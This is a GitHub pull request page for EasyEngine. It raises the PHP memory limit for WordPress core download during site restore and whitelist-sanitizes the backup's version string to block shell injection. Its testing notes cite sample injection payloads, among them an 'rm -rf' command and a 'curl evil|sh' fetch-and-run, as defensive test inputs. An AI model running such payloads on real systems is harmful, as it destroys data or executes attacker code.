Skip to content

fix(restore): raise PHP memory_limit for wp core download to prevent OOM#479

Merged
mrrobot47 merged 3 commits into
EasyEngine:developfrom
mrrobot47:fix/restore-wp-core-download-memory
Jun 12, 2026
Merged

fix(restore): raise PHP memory_limit for wp core download to prevent OOM#479
mrrobot47 merged 3 commits into
EasyEngine:developfrom
mrrobot47:fix/restore-wp-core-download-memory

Conversation

@mrrobot47

@mrrobot47 mrrobot47 commented Jun 12, 2026

Copy link
Copy Markdown
Member

Summary

During ee site restore, wp core download downloads and extracts the WordPress archive in PHP. It ran with the site container's default memory_limit (typically 128M), so on low-RAM hosts the extraction exhausts PHP memory and the restore is OOM-killed — even though the restore otherwise completes.

Root cause

restore_wp() ran the command unguarded:

$assoc_args = [ 'command' => sprintf( 'wp core download --force --version=%s', $wp_version ) ];

This is the only wp core download invocation in EasyEngine that lacks a memory bump. The site-creation path in site-type-wp (WordPress.php) already guards it:

$core_download_command = "php -d memory_limit=256M $(which wp) core download ...";

Fix

Run the restore's core download under a higher PHP memory_limit, using the same mechanism as site creation:

$assoc_args = [ 'command' => sprintf( "php -d memory_limit=256M \$(which wp) core download --force --version=%s", $wp_version ) ];
  • Why php -d memory_limit and not WP_CLI_PHP_ARGS: EasyEngine's wp is the phar, invoked directly, so the WP_CLI_PHP_ARGS env var (read only by WP-CLI's bash launcher) would not apply. EE has no WP_CLI_PHP_ARGS usage anywhere; php -d memory_limit=… $(which wp) is the established, proven pattern.
  • $(which wp) escaping: the restore runs this via ee shell --command, which (like site creation) executes through bash -c "<cmd>" in the php container (docker_compose_exec(..., shell_wrapper=true)). The $ is escaped so the host shell defers the which wp substitution to the container's bash.
  • Value 256M: matches the site-creation path, which is proven sufficient for the same operation on the same hardware (restore↔creation parity).

Command-injection hardening

$wp_version is read from the backup's meta.json and interpolated into the shell command, so a backup carrying a crafted wordpressVersion (e.g. one pulled from remote storage) could inject shell tokens. It is now whitelist-sanitized:

$wp_version = preg_replace( '/[^0-9A-Za-z.\-]/', '', (string) $wp_version );

A whitelist is used rather than escapeshellarg() because the command crosses two shell layers (host sh, then container bash -c "…"), where single-layer escaping is unreliable. [0-9A-Za-z.-] covers every legitimate WordPress version (6.5.2, 6.6-beta2, 6.5.2-RC1); a malformed value reduces to an invalid version string and fails wp core download safely.

Other restore wp-cli calls (wp config set DB_*, wp cache flush) are trivial and left unchanged.

Commits

  1. Raise the limit for wp core download (initial approach via WP_CLI_PHP_ARGS).
  2. Switch to php -d memory_limit=256M $(which wp) — the proven site-creation mechanism (WP_CLI_PHP_ARGS is ignored by the phar).
  3. Sanitize $wp_version from backup metadata before shell use.

(Can be squashed on merge.)

Testing

  • php -l src/helper/Site_Backup_Restore.php passes.
  • Confirmed the produced command matches the site-creation reference byte-for-byte (php -d memory_limit=256M \$(which wp) core download …) and that both paths run through docker_compose_exec(..., shell_wrapper=true)bash -c, so the escaped $(which wp) resolves in the container.
  • Verified sanitization: legitimate versions pass through; payloads like 6.5; rm -rf /var/www and $(curl evil|sh) are stripped to harmless invalid version strings.

During restore, 'wp core download' downloads and extracts the WordPress archive in PHP. It ran with the site container's default 128M memory_limit, so on low-RAM hosts the extraction exhausts memory and the restore is OOM-killed.

Set WP_CLI_PHP_ARGS='-d memory_limit=512M' for that command so WP-CLI applies the higher limit to the PHP process it spawns. The restore runs the command via 'ee shell --command', which executes through bash in the php container (Shell_Command.php), so the env-var prefix is honoured. This mirrors the site-creation path in site-type-wp, which already runs core download with 'php -d memory_limit=256M'. Other restore wp-cli calls (wp config set, wp cache flush) are trivial and left unchanged.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This PR aims to prevent out-of-memory failures during ee site restore by increasing the PHP memory_limit used specifically for wp core download, which performs archive extraction in PHP and can exceed typical container defaults on low-RAM hosts.

Changes:

  • Prefixes the restore-time wp core download command with WP_CLI_PHP_ARGS='-d memory_limit=512M' to raise PHP’s memory limit for that operation.
  • Adds inline rationale comments explaining why the memory bump is necessary and why the env-var prefix works in this execution path.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment thread src/helper/Site_Backup_Restore.php
…re download

The previous commit raised the limit via WP_CLI_PHP_ARGS, but that env var is only read by WP-CLI's bash launcher. EE's 'wp' is the phar invoked directly (which is why site creation runs 'php -d memory_limit=256M $(which wp) core download'), so WP_CLI_PHP_ARGS would be ignored and the limit never applied. EE has no WP_CLI_PHP_ARGS usage anywhere.

Match the proven site-type-wp pattern instead: 'php -d memory_limit=256M $(which wp) core download ...'. The restore runs this via ee shell --command, which (like site creation) goes through 'bash -c "<cmd>"' in the php container, so the '$' is escaped to defer the which-wp substitution to the container shell. Value is 256M to match the site-creation path (proven sufficient for the same operation on the same hardware).
Addresses a Copilot review finding: wordpressVersion is read from the backup's meta.json and interpolated into the wp core download shell command, which runs through 'bash -c' in the container. A backup carrying a crafted wordpressVersion (e.g. one pulled from remote storage) could therefore inject shell tokens during 'ee site restore'.

Whitelist-sanitize the value to [0-9A-Za-z.-] -- the full character set of a legitimate WordPress version -- so no shell metacharacter survives. A whitelist is used rather than escapeshellarg() because the command crosses two shell layers (host sh, then container bash via 'bash -c "..."'), where single-layer escaping is unreliable. A malformed version reduces to an invalid version string, which fails wp core download safely.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 1 out of 1 changed files in this pull request and generated 1 comment.

Comment thread src/helper/Site_Backup_Restore.php
@mrrobot47 mrrobot47 merged commit 2a774eb into EasyEngine:develop Jun 12, 2026
1 of 5 checks passed
@mrrobot47 mrrobot47 deleted the fix/restore-wp-core-download-memory branch June 12, 2026 11:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants